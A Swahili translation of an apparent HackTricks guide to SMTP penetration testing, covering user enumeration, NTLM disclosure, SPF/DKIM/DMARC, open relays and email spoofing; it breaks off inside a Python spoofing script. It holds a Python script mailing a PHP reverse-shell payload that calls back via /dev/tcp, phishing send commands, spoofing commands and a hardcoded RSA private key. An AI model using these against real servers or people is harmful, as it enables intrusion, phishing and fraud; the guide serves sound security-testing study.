hacktricks/network-services-pentesting/pentesting-smtp/README.md

608 lines
32 KiB
Markdown
Raw Normal View History

# 25,465,587 - Kupima Usalama wa SMTP/s
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-02 18:28:27 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
**Mazingira yanayopatikana mara moja kwa tathmini ya udhaifu & kupima usalama**. Tekeleza vipimo kamili kutoka popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapima usalama - tunatengeneza zana za desturi, moduli za ugunduzi & uchimbaji ili kuwarudishia muda wa kuchimba kwa kina, kuvunja minyororo, na kufurahi.
{% embed url="https://pentest-tools.com/" %}
## **Taarifa Msingi**
**Itifaki ya Kutuma Barua Pepe Rahisi (SMTP)** ni itifaki inayotumiwa ndani ya seti ya TCP/IP kwa **kutuma na kupokea barua pepe**. Kutokana na vikwazo vyake katika kuweka foleni ya ujumbe kwa upande wa mpokeaji, SMTP mara nyingi hutumiwa pamoja na **POP3 au IMAP**. Itifaki hizi ziada huwezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kudownload mara kwa mara.
2024-04-06 19:39:38 +00:00
Katika vitendo, ni kawaida kwa **programu za barua pepe** kutumia **SMTP kutuma barua pepe**, wakati zikitumia **POP3 au IMAP kuzipokea**. Kwenye mifumo inayotegemea Unix, **sendmail** inajulikana kama seva ya SMTP inayotumiwa sana kwa madhumuni ya barua pepe. Pakiti ya biashara inayoitwa Sendmail inajumuisha seva ya POP3. Zaidi ya hayo, **Microsoft Exchange** hutoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3.
**Bandari ya msingi:** 25,465(ssl),587(ssl)
```
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
```
2024-02-11 02:13:58 +00:00
### Vichwa vya Barua pepe
Ikiwa una fursa ya **kufanya mhanga akutumie barua pepe** (kupitia fomu ya mawasiliano kwenye ukurasa wa wavuti kwa mfano), fanya hivyo kwa sababu **unaweza kujifunza kuhusu topolojia ya ndani** ya mhanga kwa kuona vichwa vya barua pepe.
Unaweza pia kupata barua pepe kutoka kwa seva ya SMTP ikijaribu **kutuma barua pepe kwa seva hiyo kwa anwani isiyopo** (kwa sababu seva itamtumia mshambuliaji barua pepe ya NDN). Lakini, hakikisha unatuma barua pepe kutoka kwa anwani iliyoruhusiwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.
Pia unapaswa kujaribu **kutuma maudhui tofauti kwa sababu unaweza kupata habari zaidi ya kuvutia** kwenye vichwa kama: `X-Virus-Scanned: by av.domain.com`\
Unapaswa kutuma faili ya jaribio la EICAR.\
2024-02-11 02:13:58 +00:00
Kugundua **AV** inaweza kukuruhusu kutumia **mapungufu yanayojulikana.**
2024-02-11 02:13:58 +00:00
## Hatua za Msingi
### **Kukamata Bango/Unganisho Msingi**
**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
2020-09-23 19:24:09 +00:00
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Kupata seva za MX za shirika
2024-02-11 02:13:58 +00:00
```bash
dig +short mx google.com
```
### Uchambuzi
2024-02-11 02:13:58 +00:00
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### NTLM Auth - Kufichua Taarifa
Ikiwa server inaunga mkono NTLM auth (Windows) unaweza kupata taarifa nyeti (toleo). Taarifa zaidi [**hapa**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
2024-02-11 02:13:58 +00:00
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Au **automatize** hii na **nmap** programu-jalizi `smtp-ntlm-info.nse`
2024-02-11 02:13:58 +00:00
### Jina la seva la ndani - Kufichua taarifa
2024-02-11 02:13:58 +00:00
Baadhi ya seva za SMTP hujaza moja kwa moja anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifichua jina lake la ndani:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Kunusa
Angalia kama unanusa baadhi ya nywila kutoka kwa pakiti kwenda kwa mlango 25
### [Kuvunja nguvu ya uthibitishaji](../../generic-methodologies-and-resources/brute-force.md#smtp)
## Uorodheshaji wa Kuvunja Nguvu wa Jina la Mtumiaji
**Uthibitishaji mara nyingi hauhitajiki**
2022-05-01 13:25:53 +00:00
### RCPT TO
```bash
2024-02-05 02:28:59 +00:00
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
2022-05-01 13:25:53 +00:00
### VRFY
### VRFY
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
2024-02-05 02:28:59 +00:00
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
2024-02-05 02:28:59 +00:00
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
```
2022-05-01 13:25:53 +00:00
### EXPN
### KUFUNUA
2024-02-05 02:28:59 +00:00
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
2024-02-05 02:28:59 +00:00
250 2.1.5 ed.williams@myhost
EXPN sshd
2024-02-05 02:28:59 +00:00
250 2.1.5 sshd privsep sshd@myhost
```
2024-02-11 02:13:58 +00:00
### Zana za Kiotomatiki
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
2021-02-11 21:32:05 +00:00
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
2024-04-06 19:39:38 +00:00
**Usanidi wa papo hapo kwa tathmini ya udhaifu na upenyezaji**. Tekeleza pentest kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tunatengeneza zana za desturi, kugundua & moduli za kutumia ili kuwarudishia muda wa kuchimba kwa kina, kuzindua shells, na kufurahi.
{% embed url="https://pentest-tools.com/" %}
## Ripoti za DSN
**Ripoti za Arifa ya Hali ya Usafirishaji**: Ikiwa unatuma **barua pepe** kwa shirika kwa **anwani isiyo halali**, shirika litakuarifu kuwa anwani ilikuwa batili kwa kutuma **barua kwako**. **Vichwa** vya barua pepe iliyorudishwa vitakuwa na **taarifa nyeti** inayowezekana (kama vile anwani ya IP ya huduma za barua pepe zilizoshirikiana na ripoti au habari za programu ya kupambana na virusi).
## [Amri](smtp-commands.md)
### Kutuma Barua pepe kutoka kwa konsoli ya linux
2024-02-08 03:08:28 +00:00
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
2024-02-11 02:13:58 +00:00
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
2024-02-08 03:08:28 +00:00
<phishing message>
```
2021-06-01 00:43:40 +00:00
```bash
2024-02-11 02:13:58 +00:00
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
2021-06-01 00:43:40 +00:00
```
2024-02-11 02:13:58 +00:00
### Kutuma Barua pepe kwa Kutumia Python
<details>
2024-02-11 02:13:58 +00:00
<summary>Msimbo wa Python hapa</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
2021-04-22 20:44:15 +00:00
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
2021-04-22 20:44:15 +00:00
# create message object instance
2021-04-22 20:44:15 +00:00
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
2021-04-22 20:44:15 +00:00
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
2021-04-22 20:44:15 +00:00
print("[*] Payload is generated : %s" % message)
2021-04-22 20:44:15 +00:00
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
2021-04-22 20:44:15 +00:00
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
2021-04-22 20:44:15 +00:00
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
2021-04-22 20:44:15 +00:00
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
2024-04-06 19:39:38 +00:00
print("[***]successfully sent email to %s:" % (msg['To']))
```
</details>
## Ufichuaji wa SMTP
2021-04-22 20:44:15 +00:00
Ufichuaji wa SMTP uliruhusu kukiuka ulinzi wote wa SMTP (angalia sehemu inayofuata kwa habari zaidi kuhusu ulinzi). Kwa habari zaidi kuhusu Ufichuaji wa SMTP angalia:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
2024-04-06 19:39:38 +00:00
## Hatua za Kupambana na Udanganyifu wa Barua pepe
Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kutumia **SPF**, **DKIM**, na **DMARC** kutokana na urahisi wa kudanganya ujumbe wa SMTP.
**Mwongozo kamili wa hatua hizi za kupambana na udanganyifu** unapatikana kwenye [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
2022-05-01 13:25:53 +00:00
### SPF
{% hint style="danger" %}
SPF [ilikuwa "imepitwa na wakati" mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii inamaanisha badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia ile ile**.\
Zaidi ya hayo, ili kutumia tena rekodi za SPF za awali ni kawaida kukuta kitu kama `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
2023-02-07 10:56:16 +00:00
**Mfumo wa Sera ya Mtumaji** (SPF) ni mbinu inayowezesha Mawakala wa Uhamishaji wa Barua (MTAs) kuthibitisha ikiwa mwenyeji anayetuma barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua pepe zilizoidhinishwa zilizoelezwa na mashirika. Orodha hii, ambayo inaeleza anwani za IP/vikoa, na miili mingine **iliyoidhinishwa kutuma barua pepe kwa niaba ya jina la kikoa**, inajumuisha "**Mbinu**" mbalimbali katika rekodi ya SPF.
2020-09-26 12:22:07 +00:00
2024-02-11 02:13:58 +00:00
#### Mbinu
2024-02-08 03:08:28 +00:00
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mbinu | Maelezo |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Inalingana daima; hutumiwa kwa matokeo ya msingi kama vile `-all` kwa IP zote ambazo hazilingani na mbinu za awali. |
| A | Ikiwa jina la kikoa lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa kwa anwani ya mtumaji, italingana. |
| IP4 | Ikiwa mtumaji yuko katika safu iliyopewa ya anwani ya IPv4, italingana. |
| IP6 | Ikiwa mtumaji yuko katika safu iliyopewa ya anwani ya IPv6, italingana. |
| MX | Ikiwa jina la kikoa lina rekodi ya MX inayotatua kwa anwani ya mtumaji, italingana (yaani, barua pepe inatoka kwa moja ya seva za barua pepe zinazoingia za kikoa). |
| PTR | Ikiwa jina la kikoa (rekodi ya PTR) kwa anwani ya mteja iko katika kikoa kilichotolewa na jina hilo la kikoa linatatuliwa kwa anwani ya mteja (DNS ya nyuma iliyothibitishwa mbele), italingana. Mbinu hii haipendekezwi na inapaswa kuepukwa, ikiwezekana. |
| EXISTS | Ikiwa jina la kikoa lililopewa linatatuliwa kwa anwani yoyote, italingana (bila kujali anwani inayotatuliwa). Hii hutumiwa mara chache. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama vile kuuliza DNSBL. |
| INCLUDE | Inahusisha sera ya kikoa kingine. Ikiwa sera ya kikoa hicho inapita, mbinu hii inapita. Walakini, ikiwa sera iliyohusishwa inashindwa, usindikaji unaendelea. Ili kumwachilia kabisa sera ya kikoa kingine, lazima itumike kifaa cha kuhamisha. |
| REDIRECT | <p>Kuhamisha ni kielekezi kwa jina lingine la kikoa linaloandaa sera ya SPF, inaruhusu vikoa vingi kushiriki sera moja ya SPF. Ni muhimu wakati unafanya kazi na idadi kubwa ya vikoa vinavyoshiriki miundombinu sawa ya barua pepe.</p><p>Sera ya SPF ya kikoa kilichoonyeshwa katika Mbinu ya kuhamisha itatumika.</p> |
2020-09-26 12:22:07 +00:00
Pia ni rahisi kutambua **Washiriki** ambao hufafanua **nini cha kufanya ikiwa mbinu inalingana**. Kwa kawaida, **washiriki "+"** hutumiwa (hivyo ikiwa mbinu yoyote inalingana, hii inamaanisha imeidhinishwa).\
Kawaida utaona **mwishoni mwa kila sera ya SPF** kitu kama: **\~all** au **-all**. Hii hutumiwa kuonyesha kwamba **ikiwa mtumaji halingani na sera yoyote ya SPF, unapaswa kuiweka barua pepe kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.**
2020-09-26 12:22:07 +00:00
#### Washiriki
2020-09-26 12:22:07 +00:00
Kila mbinu ndani ya sera inaweza kuongezewa na moja ya washiriki wanne kufafanua matokeo yanayokusudiwa:
2020-09-26 12:22:07 +00:00
* **`+`**: Inalingana na matokeo ya PASS. Kwa kawaida, mbinu huchukulia washiriki hawa, ikifanya `+mx` sawa na `mx`.
* **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa kwa njia sawa na NONE (hakuna sera maalum).
* **`~`**: Inaonyesha SOFTFAIL, ikiwa kama eneo la kati kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida hukubaliwa lakini zinatambuliwa ipasavyo.
* **`-`**: Inaashiria FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja.
Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Tafadhali kumbuka uingizaji wa sera za SPF kutoka vikoa tofauti ndani ya sera ya SPF ya kwanza:
2022-10-12 12:28:51 +00:00
```shell-session
2024-02-05 02:28:59 +00:00
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
2020-09-26 10:55:36 +00:00
2024-02-05 02:28:59 +00:00
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Kihistoria ilikuwa inawezekana kughushi jina lolote la kikoa ambalo halikuwa na rekodi sahihi/au yoyote ya SPF. **Leo hii**, ikiwa **barua pepe** inatoka kwa **kikoa bila rekodi sahihi ya SPF**, inaweza kukataliwa/kuashiriwa kama isiyoaminika moja kwa moja.
Kutathmini SPF ya kikoa unaweza kutumia zana za mtandaoni kama: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (Barua pepe zilizotambuliwa na DomainKeys)
DKIM hutumiwa kusaini barua pepe za kutoka, kuruhusu uthibitisho wao na Wajumbe wa Uhamishaji wa Barua (MTAs) kupitia upatikanaji wa ufunguo wa umma wa kikoa kutoka kwa DNS. Ufunguo huu wa umma uko kwenye rekodi ya TXT ya kikoa. Ili kupata ufunguo huu, mtu lazima ajue chaguzi zote mbili, yaani chagua na jina la kikoa.
2024-02-05 02:28:59 +00:00
Kwa mfano, ili kuomba ufunguo, jina la kikoa na chaguzi ni muhimu. Hizi zinaweza kupatikana kwenye kichwa cha barua pepe `DKIM-Signature`, k.m., `d=gmail.com;s=20120113`.
2024-02-11 02:13:58 +00:00
Amri ya kupata habari hii inaweza kuonekana kama:
2022-10-12 12:28:51 +00:00
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
2024-02-05 02:28:59 +00:00
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC inaboresha usalama wa barua pepe kwa kujenga kwenye itifaki za SPF na DKIM. Inaelezea sera zinazoongoza seva za barua pepe katika kushughulikia barua pepe kutoka kwenye kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia makosa ya uwakilishi na wapi kutuma ripoti kuhusu hatua za usindikaji wa barua pepe.
2024-02-11 02:13:58 +00:00
**Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain \_dmarc**
2024-02-05 02:28:59 +00:00
```bash
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
2020-09-26 10:54:55 +00:00
2024-02-05 02:28:59 +00:00
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
```
#### Vitambulisho vya DMARC
| Jina la Tag | Lengo | Sampuli |
| -------- | --------------------------------------------- | ------------------------------- |
| v | Toleo la Itifaki | v=DMARC1 |
| pct | Asilimia ya ujumbe unaofanyiwa uchujaji | pct=20 |
| ruf | URI ya Ripoti za Uchunguzi | ruf=mailto:authfail@example.com |
| rua | URI ya Ripoti za Kikusanyiko | rua=mailto:aggrep@example.com |
| p | Sera ya kikoa cha shirika | p=quarantine |
| sp | Sera ya subdomains ya OD | sp=reject |
| adkim | Mode ya Ulinganishi wa DKIM | adkim=s |
| aspf | Mode ya Ulinganishi wa SPF | aspf=r |
2024-02-11 02:13:58 +00:00
### **Vipi kuhusu Subdomains?**
2024-02-11 02:13:58 +00:00
**Kutoka** [**hapa**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Unahitaji kuwa na rekodi tofauti za SPF kwa kila subdomain unayotaka kutuma barua pepe kutoka.\
Hii ilitolewa awali kwenye openspf.org, ambayo ilikuwa rasilimali kuu kwa aina hii ya mambo.
2024-02-11 02:13:58 +00:00
> Swali la Demon: Vipi kuhusu subdomains?
>
> Ikiwa napokea barua pepe kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je niende nyuma kwenye kiwango kimoja na kuthibitisha SPF kwa demon.co.uk? Hapana. Kila subdomain kwa Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera yake mwenyewe. Isingekuwa na maana kwa sera ya Demon kutumika kwa wateja wake wote kwa chaguo-msingi; ikiwa Demon anataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain.
>
> Kwa hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji lenye rekodi ya A au MX.
>
> Maeneo yenye rekodi za A au MX za joker pia yanapaswa kuwa na rekodi ya SPF ya joker, ya aina: \* IN TXT "v=spf1 -all"
2020-09-26 12:22:07 +00:00
Hii ina maana - subdomain inaweza kuwa mahali tofauti kabisa kijiografia na kuwa na ufafanuzi wa SPF tofauti kabisa.
2020-09-26 12:22:07 +00:00
### **Kituo cha Wazi**
2022-10-02 21:10:53 +00:00
Wakati barua pepe zinatumwa, kuhakikisha hazipati bendera ya barua taka ni muhimu. Hii mara nyingi hufanikiwa kupitia matumizi ya **seva ya kituo cha kuhamisha inayotegemewa na mpokeaji**. Walakini, changamoto kuu ni kwamba wasimamizi huenda wasiwe na ufahamu kamili wa ni **vipimo vya IP salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuweka seva ya SMTP, hatari ambayo mara nyingi hufahamishwa katika tathmini za usalama.
2022-10-02 21:10:53 +00:00
Mbinu ambayo baadhi ya wasimamizi hutumia kuepuka matatizo ya utoaji wa barua pepe, hasa kuhusu mawasiliano na wateja watarajiwa au wanaoendelea, ni **kuruhusu mawasiliano kutoka kwa anwani yoyote ya IP**. Hii hufanywa kwa kusanidi parameter ya `mynetworks` ya seva ya SMTP kukubali anwani zote za IP, kama inavyoonekana hapa chini:
2024-02-05 02:28:59 +00:00
```bash
2022-10-02 21:10:53 +00:00
mynetworks = 0.0.0.0/0
```
Kwa kuchunguza ikiwa seva ya barua pepe ni kituo cha wazi (maana yake inaweza kusambaza barua pepe kutoka chanzo chochote kigeni), zana ya `nmap` hutumika kawaida. Inajumuisha script maalum iliyoundwa kwa ajili ya kufanya majaribio haya. Amri ya kufanya uchunguzi wa kina kwenye seva (kwa mfano, na IP 10.10.10.10) kwenye bandari 25 kwa kutumia `nmap` ni:
2022-10-02 21:10:53 +00:00
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Vifaa**
2024-04-06 19:39:38 +00:00
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Angalia kwa ajili ya SPF na DMARC misconfigurations**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Pata moja kwa moja mizunguko ya SPF na DMARC**
2024-02-05 02:28:59 +00:00
### Tuma Barua pepe ya Uongo
2022-10-12 12:28:51 +00:00
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
2023-02-07 10:56:16 +00:00
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
2024-02-08 03:08:28 +00:00
* [**https://emkei.cz/**](https://emkei.cz/)
2022-10-12 12:28:51 +00:00
**Au unaweza kutumia chombo:**
2022-10-12 12:28:51 +00:00
2024-02-08 03:08:28 +00:00
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
2022-10-12 12:28:51 +00:00
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Ikiwa unapata **kosa lolote unapotumia dkim python lib** kuchambua ufunguo, jisikie huru kutumia huu ufuatao.\
**TAARIFA**: Hii ni marekebisho machafu tu ya kufanya ukaguzi wa haraka katika hali ambapo kwa sababu fulani ufunguo binafsi wa openssl **hauwezi kuchambuliwa na dkim**.
2022-10-12 12:28:51 +00:00
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}
2022-10-12 12:28:51 +00:00
2024-02-11 02:13:58 +00:00
**Au unaweza kufanya hivyo kwa mkono:**
2022-10-12 12:28:51 +00:00
{% tabs %}
{% tab title="PHP" %}
2024-02-11 02:13:58 +00:00
<pre class="language-php"><code class="lang-php"><strong># Hii itatuma ujumbe usio na saini
</strong><strong>mail("barua-pepe_yako@gmail.com", "Mada ya Majaribio!", "hey! Hii ni majaribio", "Kutoka: msimamizi@muathirika.com");
2023-02-07 10:56:16 +00:00
</strong></code></pre>
{% endtab %}
2022-10-12 12:28:51 +00:00
{% tab title="Python" %}
2022-10-12 12:28:51 +00:00
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
